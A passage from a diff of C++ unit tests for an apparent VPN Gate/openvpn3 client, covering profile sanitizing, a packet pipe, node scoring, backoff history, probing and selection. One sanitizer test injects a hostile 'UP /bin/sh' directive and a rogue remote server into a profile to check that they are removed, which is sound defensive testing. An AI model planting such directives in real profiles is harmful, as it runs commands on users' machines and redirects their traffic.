|
||||
// into the block body.
|
||||
{
|
||||
std::string raw = sample_profile();
|
||||
raw.replace(raw.find("</key>"), 6, "");
|
||||
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
||||
CHECK(contains(err, "unterminated"));
|
||||
}
|
||||
// Binary garbage where a profile should be.
|
||||
{
|
||||
std::string raw = sample_profile();
|
||||
raw += "\x01\x02\x03";
|
||||
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
||||
CHECK(contains(err, "control byte"));
|
||||
}
|
||||
// Oversized.
|
||||
{
|
||||
SanitizeOptions opt;
|
||||
opt.max_bytes = 100;
|
||||
CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err));
|
||||
}
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerIsCaseInsensitive) {
|
||||
std::string raw = sample_profile();
|
||||
raw += "UP /bin/sh\n<CONNECTION>\nremote 9.9.9.9 1194\n</CONNECTION>\n";
|
||||
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
||||
expect_absent(sp.text, "/bin/sh");
|
||||
expect_absent(sp.text, "9.9.9.9");
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizedOutputIsStable) {
|
||||
// Sanitizing twice must be a no-op the second time round -- otherwise the
|
||||
// "regenerated" set is incomplete and our own header would accumulate.
|
||||
SanitizedProfile once, twice;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(sample_profile(), {}, &once, &err));
|
||||
CHECK(sanitize_profile(once.text, {}, &twice, &err));
|
||||
CHECK_EQ(once.text, twice.text);
|
||||
}
|
||||
|
||||
// --- packet pipe -----------------------------------------------------------
|
||||
|
||||
OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) {
|
||||
asio::io_context io;
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
CHECK(pipe.open(256 * 1024, &err));
|
||||
CHECK(pipe.is_open());
|
||||
|
||||
const int peer = pipe.release_peer_fd();
|
||||
CHECK(peer >= 0);
|
||||
CHECK(pipe.peer_released());
|
||||
CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once
|
||||
|
||||
// Three writes of different sizes must arrive as three reads of exactly
|
||||
// those sizes. This is the property the whole design rests on: a datagram
|
||||
// socketpair preserves IP packet boundaries, a stream one would not.
|
||||
const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c');
|
||||
CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok);
|
||||
CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok);
|
||||
CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok);
|
||||
|
||||
char buf[4096];
|
||||
for (const std::string *expect : {&a, &b, &c}) {
|
||||
const ssize_t n = ::recv(peer, buf, sizeof(buf), 0);
|
||||
CHECK(n >= 0);
|
||||
CHECK_EQ(std::string(buf, static_cast<size_t>(n)), *expect);
|
||||
}
|
||||
|
||||
const auto ctr = pipe.counters();
|
||||
CHECK_EQ(ctr.tx_packets, uint64_t(3));
|
||||
CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size()));
|
||||
CHECK_EQ(ctr.tx_dropped, uint64_t(0));
|
||||
|
||||
::close(peer);
|
||||
}
|
||||
|
||||
OVG_TEST(PacketPipeReadsWhatThePeerWrites) {
|
||||
asio::io_context io;
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
CHECK(pipe.open(0, &err));
|
||||
const int peer = pipe.release_peer_fd();
|
||||
CHECK(peer >= 0);
|
||||
|
||||
const std::string payload(700, 'x');
|
||||
CHECK_EQ(::send(peer, payload.data(), payload.size(), 0),
|
||||
static_cast<ssize_t>(payload.size()));
|
||||
|
||||
char buf[4096];
|
||||
std::error_code ec;
|
||||
const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec);
|
||||
CHECK(!ec);
|
||||
CHECK_EQ(n, payload.size());
|
||||
pipe.note_received(n);
|
||||
CHECK_EQ(pipe.counters().rx_packets, uint64_t(1));
|
||||
CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size()));
|
||||
|
||||
::close(peer);
|
||||
}
|
||||
|
||||
OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) {
|
||||
asio::io_context io;
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
CHECK(pipe.open(0, &err));
|
||||
|
||||
const std::string huge(kMaxPacketSize + 1, 'z');
|
||||
CHECK(pipe.send_packet(huge.data(), huge.size()) ==
|
||||
PacketPipe::SendStatus::Dropped);
|
||||
CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped);
|
||||
CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2));
|
||||
CHECK_EQ(pipe.counters().tx_packets, uint64_t(0));
|
||||
}
|
||||
|
||||
OVG_TEST(PacketPipeReportsAClosedPeer) {
|
||||
asio::io_context io;
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
CHECK(pipe.open(0, &err));
|
||||
const int peer = pipe.release_peer_fd();
|
||||
CHECK(peer >= 0);
|
||||
::close(peer);
|
||||
|
||||
// Must surface as Closed, not as a SIGPIPE that kills the process. The
|
||||
// first send after the peer goes away can still be accepted, so retry a
|
||||
// couple of times; what matters is that we never die and that we do notice.
|
||||
PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok;
|
||||
const std::string p(64, 'p');
|
||||
for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i)
|
||||
st = pipe.send_packet(p.data(), p.size());
|
||||
CHECK(st == PacketPipe::SendStatus::Closed);
|
||||
}
|
||||
|
||||
OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) {
|
||||
asio::io_context io;
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
// Smallest buffer the kernel will grant, so the queue fills quickly.
|
||||
CHECK(pipe.open(2048, &err));
|
||||
const int peer = pipe.release_peer_fd();
|
||||
CHECK(peer >= 0);
|
||||
|
||||
// Nobody is reading `peer`. A blocking write here would wedge the io_context
|
||||
// thread for as long as the tunnel is congested; the contract is that we
|
||||
// drop the packet instead and let TCP above notice.
|
||||
const std::string p(1400, 'q');
|
||||
bool saw_drop = false;
|
||||
for (int i = 0; i < 10000 && !saw_drop; ++i) {
|
||||
if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped)
|
||||
saw_drop = true;
|
||||
}
|
||||
CHECK(saw_drop);
|
||||
CHECK(pipe.counters().tx_dropped > 0);
|
||||
|
||||
::close(peer);
|
||||
}
|
||||
|
||||
OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) {
|
||||
asio::io_context io;
|
||||
// asio builds its epoll reactor lazily, on the first socket that registers
|
||||
// with it, so a cold io_context would make the first pipe look like it cost
|
||||
// more descriptors than it did. Warm it up before taking the baseline.
|
||||
{
|
||||
PacketPipe warmup(io);
|
||||
std::string err;
|
||||
CHECK(warmup.open(0, &err));
|
||||
}
|
||||
const size_t before = open_fd_count();
|
||||
|
||||
// Never released: the pipe must close both ends.
|
||||
{
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
CHECK(pipe.open(0, &err));
|
||||
CHECK_EQ(open_fd_count(), before + 2);
|
||||
}
|
||||
CHECK_EQ(open_fd_count(), before);
|
||||
|
||||
// Released: openvpn3 owns the peer now, so the destructor must leave it
|
||||
// alone. Closing it here would pull the tun out from under a live session.
|
||||
int peer = -1;
|
||||
{
|
||||
PacketPipe pipe(io);
|
||||
std::string err;
|
||||
CHECK(pipe.open(0, &err));
|
||||
peer = pipe.release_peer_fd();
|
||||
CHECK(peer >= 0);
|
||||
}
|
||||
CHECK(::fcntl(peer, F_GETFD) >= 0);
|
||||
::close(peer);
|
||||
CHECK_EQ(open_fd_count(), before);
|
||||
}
|
||||
|
||||
// --- tunnel client ---------------------------------------------------------
|
||||
|
||||
OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) {
|
||||
asio::io_context io;
|
||||
auto tc = TunnelClient::create(io, OvpnConfig{});
|
||||
|
||||
vpngate::Node node;
|
||||
node.host_name = "broken";
|
||||
node.ip = "203.0.113.9";
|
||||
node.profile = "this is not an openvpn profile\n";
|
||||
|
||||
const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp};
|
||||
|
||||
std::string err;
|
||||
CHECK(!tc->start(node, r, nullptr, &err));
|
||||
// The node id has to be in the message: with ~100 nodes churning, an error
|
||||
// that does not say which one failed is not actionable.
|
||||
CHECK(contains(err, "broken@203.0.113.9"));
|
||||
CHECK(tc->state() == TunnelState::Idle);
|
||||
// A rejected profile must leave no descriptor behind.
|
||||
CHECK(!tc->pipe().is_open());
|
||||
}
|
||||
|
||||
OVG_TEST(TunnelClientStateNamesAreComplete) {
|
||||
for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up,
|
||||
TunnelState::Reconnecting, TunnelState::Down}) {
|
||||
CHECK_NE(std::string(tunnel_state_name(s)), std::string("?"));
|
||||
}
|
||||
}
|
||||
|
||||
OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) {
|
||||
if (TunnelClient::supported()) SKIP("built with openvpn3 linked in");
|
||||
|
||||
asio::io_context io;
|
||||
auto tc = TunnelClient::create(io, OvpnConfig{});
|
||||
|
||||
vpngate::Node node;
|
||||
node.host_name = "ok";
|
||||
node.ip = "203.0.113.10";
|
||||
node.profile = sample_profile();
|
||||
|
||||
const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp};
|
||||
|
||||
std::string err;
|
||||
CHECK(!tc->start(node, r, nullptr, &err));
|
||||
CHECK(contains(err, "OVG_WITH_TUNNEL"));
|
||||
CHECK(tc->state() == TunnelState::Idle);
|
||||
CHECK(!tc->pipe().is_open());
|
||||
}
|
||||
@@ -0,0 +1,512 @@
|
||||
// Scoring, history/backoff, and the two-phase selection.
|
||||
//
|
||||
// The property that matters most here is that scores are *absolute*: a node's
|
||||
// score must not depend on which other nodes happen to be in the list. The
|
||||
// switch controller's "beat the incumbent by 20%" rule is meaningless
|
||||
// otherwise, because the incumbent's score would drift as the pool changed.
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstdio>
|
||||
#include <filesystem>
|
||||
|
||||
#include "harness.h"
|
||||
#include "selector/history.h"
|
||||
#include "selector/prober.h"
|
||||
#include "selector/scorer.h"
|
||||
#include "selector/selector.h"
|
||||
|
||||
using namespace ovg;
|
||||
using namespace ovg::selector;
|
||||
using ovg::vpngate::Node;
|
||||
using ovg::vpngate::Proto;
|
||||
using ovg::vpngate::Remote;
|
||||
|
||||
namespace {
|
||||
|
||||
Node make_node(const std::string &name, const std::string &ip,
|
||||
const std::string &cc, int64_t score, int64_t speed,
|
||||
int sessions) {
|
||||
Node n;
|
||||
n.host_name = name;
|
||||
n.ip = ip;
|
||||
n.country_short = cc;
|
||||
n.country_long = cc;
|
||||
n.api.score = score;
|
||||
n.api.speed_bps = speed;
|
||||
n.api.num_sessions = sessions;
|
||||
n.api.uptime_ms = 3LL * 86400 * 1000;
|
||||
n.profile = "client\nremote " + ip + " 443 tcp\n";
|
||||
n.remotes.push_back(Remote{ip, 443, Proto::Tcp});
|
||||
return n;
|
||||
}
|
||||
|
||||
std::string temp_path(const char *leaf) {
|
||||
auto p = std::filesystem::temp_directory_path() /
|
||||
("ovg_test_" + std::string(leaf));
|
||||
std::error_code ec;
|
||||
std::filesystem::remove(p, ec);
|
||||
return p.string();
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Term shapes
|
||||
|
||||
OVG_TEST(TermsAreBoundedAndMonotonic) {
|
||||
CHECK_EQ(terms::score_term(0), 0.0);
|
||||
CHECK_LT(terms::score_term(1000), terms::score_term(1000000));
|
||||
CHECK(terms::score_term(1000000000LL) <= 1.0);
|
||||
|
||||
CHECK_EQ(terms::speed_term(0), 0.0);
|
||||
CHECK_LT(terms::speed_term(1000000), terms::speed_term(100000000));
|
||||
CHECK(terms::speed_term(1000000000000LL) <= 1.0);
|
||||
|
||||
// Fewer sessions is better.
|
||||
CHECK_GT(terms::sessions_term(0), terms::sessions_term(20));
|
||||
CHECK_GT(terms::sessions_term(20), terms::sessions_term(200));
|
||||
CHECK_NEAR(terms::sessions_term(0), 1.0, 1e-9);
|
||||
CHECK_NEAR(terms::sessions_term(20), 0.5, 1e-9);
|
||||
|
||||
// Lower RTT is better; unmeasured is mediocre, not zero.
|
||||
CHECK_GT(terms::rtt_term(10), terms::rtt_term(200));
|
||||
CHECK_NEAR(terms::rtt_term(0), 1.0, 1e-9);
|
||||
CHECK_NEAR(terms::rtt_term(100), 0.5, 1e-9);
|
||||
CHECK_GT(terms::rtt_term(-1), 0.0);
|
||||
CHECK_LT(terms::rtt_term(-1), terms::rtt_term(100));
|
||||
|
||||
CHECK_EQ(terms::uptime_term(0), 0.0);
|
||||
CHECK_NEAR(terms::uptime_term(7LL * 86400 * 1000), 1.0, 1e-9);
|
||||
CHECK_NEAR(terms::uptime_term(70LL * 86400 * 1000), 1.0, 1e-9); // clamped
|
||||
}
|
||||
|
||||
OVG_TEST(ScoreIsAbsoluteNotSetRelative) {
|
||||
// The same node must score identically whether it is ranked alone or among
|
||||
// much better company. This is what makes the switch hysteresis meaningful.
|
||||
SelectorConfig cfg;
|
||||
Scorer scorer(cfg);
|
||||
HistoryStore history("", cfg);
|
||||
|
||||
const Node target = make_node("target", "1.1.1.1", "JP", 500000, 50000000, 30);
|
||||
|
||||
std::vector<Node> alone{target};
|
||||
std::vector<Node> crowded{
|
||||
target,
|
||||
make_node("giant", "2.2.2.2", "JP", 9000000, 900000000, 1),
|
||||
make_node("tiny", "3.3.3.3", "JP", 10, 100, 900),
|
||||
};
|
||||
|
||||
auto a = scorer.rank_by_prior(alone, history);
|
||||
auto b = scorer.rank_by_prior(crowded, history);
|
||||
CHECK_EQ(a.size(), size_t(1));
|
||||
CHECK_EQ(b.size(), size_t(3));
|
||||
|
||||
double crowded_target = -1;
|
||||
for (const auto &s : b)
|
||||
if (s.node->host_name == "target") crowded_target = s.score;
|
||||
CHECK_NEAR(a[0].score, crowded_target, 1e-12);
|
||||
}
|
||||
|
||||
OVG_TEST(RankOrdersBetterNodesFirst) {
|
||||
SelectorConfig cfg;
|
||||
Scorer scorer(cfg);
|
||||
HistoryStore history("", cfg);
|
||||
|
||||
std::vector<Node> nodes{
|
||||
make_node("weak", "1.1.1.1", "JP", 100, 1000000, 400),
|
||||
make_node("strong", "2.2.2.2", "JP", 5000000, 500000000, 5),
|
||||
make_node("middling", "3.3.3.3", "JP", 200000, 20000000, 60),
|
||||
};
|
||||
auto ranked = scorer.rank_by_prior(nodes, history);
|
||||
CHECK_EQ(ranked.size(), size_t(3));
|
||||
CHECK_EQ(ranked[0].node->host_name, std::string("strong"));
|
||||
CHECK_EQ(ranked[2].node->host_name, std::string("weak"));
|
||||
}
|
||||
|
||||
OVG_TEST(CountryFiltersApply) {
|
||||
SelectorConfig cfg;
|
||||
cfg.country_allow = {"JP", "KR"};
|
||||
Scorer scorer(cfg);
|
||||
HistoryStore history("", cfg);
|
||||
|
||||
std::vector<Node> nodes{
|
||||
make_node("jp", "1.1.1.1", "JP", 100, 1000, 1),
|
||||
make_node("kr", "2.2.2.2", "KR", 100, 1000, 1),
|
||||
make_node("ru", "3.3.3.3", "RU", 900000, 900000000, 1),
|
||||
};
|
||||
auto ranked = scorer.rank_by_prior(nodes, history);
|
||||
CHECK_EQ(ranked.size(), size_t(2));
|
||||
|
||||
SelectorConfig deny;
|
||||
deny.country_deny = {"RU"};
|
||||
Scorer s2(deny);
|
||||
CHECK_EQ(s2.rank_by_prior(nodes, history).size(), size_t(2));
|
||||
}
|
||||
|
||||
OVG_TEST(NodeWithNoRemotesIsFilteredOut) {
|
||||
SelectorConfig cfg;
|
||||
Scorer scorer(cfg);
|
||||
HistoryStore history("", cfg);
|
||||
|
||||
auto broken = make_node("broken", "1.1.1.1", "JP", 900000, 900000000, 1);
|
||||
broken.remotes.clear();
|
||||
std::vector<Node> nodes{broken};
|
||||
CHECK_EQ(scorer.rank_by_prior(nodes, history).size(), size_t(0));
|
||||
}
|
||||
|
||||
OVG_TEST(BackedOffNodesSinkToTheBottom) {
|
||||
SelectorConfig cfg;
|
||||
Scorer scorer(cfg);
|
||||
HistoryStore history("", cfg);
|
||||
|
||||
std::vector<Node> nodes{
|
||||
make_node("good", "1.1.1.1", "JP", 5000000, 500000000, 1),
|
||||
make_node("meh", "2.2.2.2", "JP", 100, 1000, 300),
|
||||
};
|
||||
// Fail the strong node repeatedly; it must still be *returned* (as a last
|
||||
// resort) but ranked last.
|
||||
for (int i = 0; i < 3; ++i) history.record_failure(nodes[0].id());
|
||||
CHECK(history.is_backed_off(nodes[0].id()));
|
||||
|
||||
auto ranked = scorer.rank_by_prior(nodes, history);
|
||||
CHECK_EQ(ranked.size(), size_t(2));
|
||||
CHECK_EQ(ranked[0].node->host_name, std::string("meh"));
|
||||
CHECK(ranked[1].backed_off);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// History
|
||||
|
||||
OVG_TEST(HistoryUnknownNodeIsNeutral) {
|
||||
SelectorConfig cfg;
|
||||
HistoryStore h("", cfg);
|
||||
const auto s = h.get("nobody@0.0.0.0");
|
||||
CHECK_NEAR(s.success_rate(), 0.5, 1e-12);
|
||||
CHECK(!h.is_backed_off("nobody@0.0.0.0"));
|
||||
}
|
||||
|
||||
OVG_TEST(HistoryTracksSuccessAndFailure) {
|
||||
SelectorConfig cfg;
|
||||
HistoryStore h("", cfg);
|
||||
h.record_success("n@1", 50);
|
||||
h.record_success("n@1", 70);
|
||||
h.record_failure("n@1");
|
||||
const auto s = h.get("n@1");
|
||||
CHECK_EQ(s.successes, uint32_t(2));
|
||||
CHECK_EQ(s.failures, uint32_t(1));
|
||||
CHECK_EQ(s.consecutive_failures, uint32_t(1));
|
||||
CHECK_NEAR(s.success_rate(), 2.0 / 3.0, 1e-12);
|
||||
// EWMA sits between the two samples, nearer the recent one.
|
||||
CHECK_GT(s.ewma_rtt_ms, 50.0);
|
||||
CHECK_LT(s.ewma_rtt_ms, 70.0);
|
||||
}
|
||||
|
||||
OVG_TEST(HistorySuccessClearsConsecutiveFailures) {
|
||||
SelectorConfig cfg;
|
||||
HistoryStore h("", cfg);
|
||||
h.record_failure("n@1");
|
||||
h.record_failure("n@1");
|
||||
CHECK(h.is_backed_off("n@1"));
|
||||
h.record_success("n@1", 20);
|
||||
CHECK_EQ(h.get("n@1").consecutive_failures, uint32_t(0));
|
||||
CHECK(!h.is_backed_off("n@1"));
|
||||
}
|
||||
|
||||
OVG_TEST(HistoryBackoffGrowsAndIsCapped) {
|
||||
SelectorConfig cfg;
|
||||
cfg.failure_backoff_initial = Millis(1000);
|
||||
cfg.failure_backoff_max = Millis(8000);
|
||||
HistoryStore h("", cfg);
|
||||
|
||||
h.record_failure("n@1");
|
||||
const auto one = h.backoff_remaining("n@1");
|
||||
CHECK_GT(one.count(), int64_t(0));
|
||||
CHECK(one.count() <= 1000);
|
||||
|
||||
h.record_failure("n@1");
|
||||
CHECK_GT(h.backoff_remaining("n@1").count(), one.count());
|
||||
|
||||
// Far past the cap: must not overflow or explode.
|
||||
for (int i = 0; i < 60; ++i) h.record_failure("n@1");
|
||||
CHECK(h.backoff_remaining("n@1").count() <= 8000);
|
||||
CHECK_GT(h.backoff_remaining("n@1").count(), int64_t(0));
|
||||
}
|
||||
|
||||
OVG_TEST(HistoryRoundTripsThroughDisk) {
|
||||
const auto path = temp_path("history.tsv");
|
||||
SelectorConfig cfg;
|
||||
{
|
||||
HistoryStore h(path, cfg);
|
||||
h.record_success("alpha@1.1.1.1", 42);
|
||||
h.record_failure("beta@2.2.2.2");
|
||||
h.record_throughput("alpha@1.1.1.1", 1000000);
|
||||
h.save();
|
||||
}
|
||||
{
|
||||
HistoryStore h(path, cfg);
|
||||
h.load();
|
||||
CHECK_EQ(h.size(), size_t(2));
|
||||
const auto a = h.get("alpha@1.1.1.1");
|
||||
CHECK_EQ(a.successes, uint32_t(1));
|
||||
CHECK_NEAR(a.ewma_rtt_ms, 42.0, 1e-6);
|
||||
CHECK_NEAR(a.ewma_throughput_bps, 1000000.0, 1.0);
|
||||
CHECK_EQ(h.get("beta@2.2.2.2").failures, uint32_t(1));
|
||||
}
|
||||
std::filesystem::remove(path);
|
||||
}
|
||||
|
||||
OVG_TEST(HistorySurvivesCorruptLines) {
|
||||
const auto path = temp_path("history_corrupt.tsv");
|
||||
{
|
||||
std::FILE *f = std::fopen(path.c_str(), "w");
|
||||
CHECK(f != nullptr);
|
||||
std::fputs("# header\n", f);
|
||||
std::fputs("good@1.1.1.1 5 1 0 0 1700000000000 33.5 1000\n", f);
|
||||
std::fputs("this line is nonsense\n", f);
|
||||
std::fputs("also@2.2.2.2 1 0 0 0 1700000000000 12.0 500\n", f);
|
||||
std::fclose(f);
|
||||
}
|
||||
SelectorConfig cfg;
|
||||
HistoryStore h(path, cfg);
|
||||
h.load();
|
||||
// One bad line costs one node, not the file.
|
||||
CHECK_EQ(h.size(), size_t(2));
|
||||
CHECK_EQ(h.get("good@1.1.1.1").successes, uint32_t(5));
|
||||
std::filesystem::remove(path);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Prober
|
||||
|
||||
OVG_TEST(ProberMeasuresLocalListener) {
|
||||
asio::io_context io;
|
||||
asio::ip::tcp::acceptor acc(io, asio::ip::tcp::endpoint(
|
||||
asio::ip::make_address("127.0.0.1"), 0));
|
||||
acc.listen();
|
||||
const uint16_t port = acc.local_endpoint().port();
|
||||
|
||||
// Accept and immediately drop; the prober only times the handshake.
|
||||
std::function<void()> accept_one = [&] {
|
||||
auto sock = std::make_shared<asio::ip::tcp::socket>(io);
|
||||
acc.async_accept(*sock, [sock, &accept_one](std::error_code ec) {
|
||||
if (!ec) accept_one();
|
||||
});
|
||||
};
|
||||
accept_one();
|
||||
|
||||
SelectorConfig cfg;
|
||||
cfg.probe_samples = 2;
|
||||
cfg.probe_timeout = Millis(1000);
|
||||
Prober prober(io, cfg);
|
||||
|
||||
std::vector<ProbeResult> got;
|
||||
prober.probe({ProbeTarget{"live", "127.0.0.1", port},
|
||||
// Port 1 on loopback: nothing listens, connect is refused fast.
|
||||
ProbeTarget{"dead", "127.0.0.1", 1}},
|
||||
[&](std::vector<ProbeResult> r) {
|
||||
got = std::move(r);
|
||||
acc.close();
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK_EQ(got.size(), size_t(2));
|
||||
CHECK_EQ(got[0].node_id, std::string("live"));
|
||||
CHECK(got[0].reachable);
|
||||
CHECK_EQ(got[0].samples_ok, 2);
|
||||
CHECK(got[0].rtt_ms >= 0.0);
|
||||
CHECK_EQ(got[1].node_id, std::string("dead"));
|
||||
CHECK(!got[1].reachable);
|
||||
}
|
||||
|
||||
OVG_TEST(ProberHandlesEmptyBatch) {
|
||||
asio::io_context io;
|
||||
SelectorConfig cfg;
|
||||
Prober prober(io, cfg);
|
||||
bool called = false;
|
||||
prober.probe({}, [&](std::vector<ProbeResult> r) {
|
||||
called = true;
|
||||
CHECK(r.empty());
|
||||
});
|
||||
io.run();
|
||||
CHECK(called);
|
||||
}
|
||||
|
||||
OVG_TEST(ProberTimesOutOnBlackhole) {
|
||||
// TEST-NET-1 (RFC 5737) is guaranteed not to be routable on a normal network,
|
||||
// so the connect hangs and the timeout path is what completes the probe.
|
||||
// Some sandboxes put a transparent proxy in front of all outbound TCP, which
|
||||
// accepts everything and makes the case untestable; detect that and skip
|
||||
// rather than assert something the environment cannot provide.
|
||||
{
|
||||
asio::io_context probe_io;
|
||||
asio::ip::tcp::socket s(probe_io);
|
||||
std::error_code ec = asio::error::would_block;
|
||||
s.async_connect(
|
||||
asio::ip::tcp::endpoint(asio::ip::make_address("192.0.2.1"), 443),
|
||||
[&](std::error_code e) { ec = e; });
|
||||
probe_io.run_for(std::chrono::milliseconds(300));
|
||||
std::error_code ig;
|
||||
s.close(ig);
|
||||
if (!ec) SKIP("outbound TCP is transparently proxied here");
|
||||
}
|
||||
|
||||
asio::io_context io;
|
||||
SelectorConfig cfg;
|
||||
cfg.probe_samples = 1;
|
||||
cfg.probe_timeout = Millis(150);
|
||||
Prober prober(io, cfg);
|
||||
|
||||
std::vector<ProbeResult> got;
|
||||
prober.probe({ProbeTarget{"blackhole", "192.0.2.1", 443}},
|
||||
[&](std::vector<ProbeResult> r) { got = std::move(r); });
|
||||
io.run();
|
||||
|
||||
CHECK_EQ(got.size(), size_t(1));
|
||||
CHECK(!got[0].reachable);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Selector, end to end over the real captured feed
|
||||
|
||||
namespace {
|
||||
|
||||
// A NodeStore primed from the sample CSV via its disk cache. The API URL points
|
||||
// at a dead port so no network fetch can succeed, and we never run the
|
||||
// io_context far enough for one to be attempted.
|
||||
std::unique_ptr<vpngate::NodeStore> primed_store(asio::io_context &io) {
|
||||
VpnGateConfig vg;
|
||||
vg.api_urls = {"http://127.0.0.1:1/"};
|
||||
vg.cache_path = ovgtest::data_path("vpngate_sample.csv");
|
||||
vg.cache_max_age = std::chrono::hours(24 * 3650);
|
||||
auto store = std::make_unique<vpngate::NodeStore>(io, vg);
|
||||
store->start();
|
||||
return store;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
OVG_TEST(SelectorRanksTheRealFeedWithoutProbing) {
|
||||
asio::io_context io;
|
||||
auto store = primed_store(io);
|
||||
CHECK(store->has_nodes());
|
||||
|
||||
SelectorConfig cfg;
|
||||
HistoryStore history("", cfg);
|
||||
Selector sel(io, cfg, *store, history);
|
||||
|
||||
SelectRequest req;
|
||||
req.want = 5;
|
||||
req.probe = false;
|
||||
|
||||
std::vector<Candidate> got;
|
||||
bool called = false;
|
||||
sel.select(req, [&](std::vector<Candidate> c) {
|
||||
called = true;
|
||||
got = std::move(c);
|
||||
});
|
||||
|
||||
CHECK(called); // the no-probe path must complete synchronously
|
||||
CHECK_EQ(got.size(), size_t(5));
|
||||
// Ordered best-first, and each carries the profile the tunnel will need.
|
||||
for (size_t i = 1; i < got.size(); ++i) CHECK(got[i - 1].score >= got[i].score);
|
||||
for (const auto &c : got) {
|
||||
CHECK(!c.node.profile.empty());
|
||||
CHECK(!c.node.remotes.empty());
|
||||
CHECK(!c.probed);
|
||||
CHECK(c.reachable);
|
||||
}
|
||||
store->stop();
|
||||
}
|
||||
|
||||
OVG_TEST(SelectorHonoursExclusions) {
|
||||
asio::io_context io;
|
||||
auto store = primed_store(io);
|
||||
|
||||
SelectorConfig cfg;
|
||||
HistoryStore history("", cfg);
|
||||
Selector sel(io, cfg, *store, history);
|
||||
|
||||
SelectRequest first;
|
||||
first.want = 3;
|
||||
first.probe = false;
|
||||
std::vector<Candidate> a;
|
||||
sel.select(first, [&](std::vector<Candidate> c) { a = std::move(c); });
|
||||
CHECK_EQ(a.size(), size_t(3));
|
||||
|
||||
// Exclude the winner -- this is what the switch controller does with the
|
||||
// incumbent and with anything already draining.
|
||||
SelectRequest second;
|
||||
second.want = 3;
|
||||
second.probe = false;
|
||||
second.exclude_ids = {a[0].node.id()};
|
||||
std::vector<Candidate> b;
|
||||
sel.select(second, [&](std::vector<Candidate> c) { b = std::move(c); });
|
||||
|
||||
CHECK_EQ(b.size(), size_t(3));
|
||||
for (const auto &c : b) CHECK_NE(c.node.id(), a[0].node.id());
|
||||
CHECK_EQ(b[0].node.id(), a[1].node.id());
|
||||
|
||||
store->stop();
|
||||
}
|
||||
|
||||
OVG_TEST(SelectorRescoreMatchesRanking) {
|
||||
// The hysteresis check compares a rescored incumbent against fresh
|
||||
// candidates, so the two paths must agree for an unprobed node.
|
||||
asio::io_context io;
|
||||
auto store = primed_store(io);
|
||||
|
||||
SelectorConfig cfg;
|
||||
HistoryStore history("", cfg);
|
||||
Selector sel(io, cfg, *store, history);
|
||||
|
||||
SelectRequest req;
|
||||
req.want = 1;
|
||||
req.probe = false;
|
||||
std::vector<Candidate> got;
|
||||
sel.select(req, [&](std::vector<Candidate> c) { got = std::move(c); });
|
||||
CHECK_EQ(got.size(), size_t(1));
|
||||
|
||||
const auto again = sel.rescore(got[0].node.id());
|
||||
CHECK(again.has_value());
|
||||
CHECK_NEAR(again->score, got[0].score, 1e-12);
|
||||
|
||||
CHECK(!sel.rescore("no-such-node@0.0.0.0").has_value());
|
||||
store->stop();
|
||||
}
|
||||
|
||||
OVG_TEST(SelectorReportsNothingWhenNodeListIsEmpty) {
|
||||
asio::io_context io;
|
||||
VpnGateConfig vg;
|
||||
vg.api_urls = {"http://127.0.0.1:1/"};
|
||||
vg.cache_path = ""; // no cache, no network => no nodes
|
||||
vpngate::NodeStore store(io, vg);
|
||||
|
||||
SelectorConfig cfg;
|
||||
HistoryStore history("", cfg);
|
||||
Selector sel(io, cfg, store, history);
|
||||
|
||||
bool called = false;
|
||||
sel.select({}, [&](std::vector<Candidate> c) {
|
||||
called = true;
|
||||
CHECK(c.empty());
|
||||
});
|
||||
CHECK(called);
|
||||
}
|
||||
|
||||
OVG_TEST(ProberRejectsNonLiteralHost) {
|
||||
// Node hosts come from the .ovpn profile and are IP literals in practice.
|
||||
// A name must be reported unreachable, not silently resolved -- resolving it
|
||||
// here would be a DNS lookup outside the tunnel.
|
||||
asio::io_context io;
|
||||
SelectorConfig cfg;
|
||||
Prober prober(io, cfg);
|
||||
|
||||
std::vector<ProbeResult> got;
|
||||
prober.probe({ProbeTarget{"named", "vpn.example.com", 443}},
|
||||
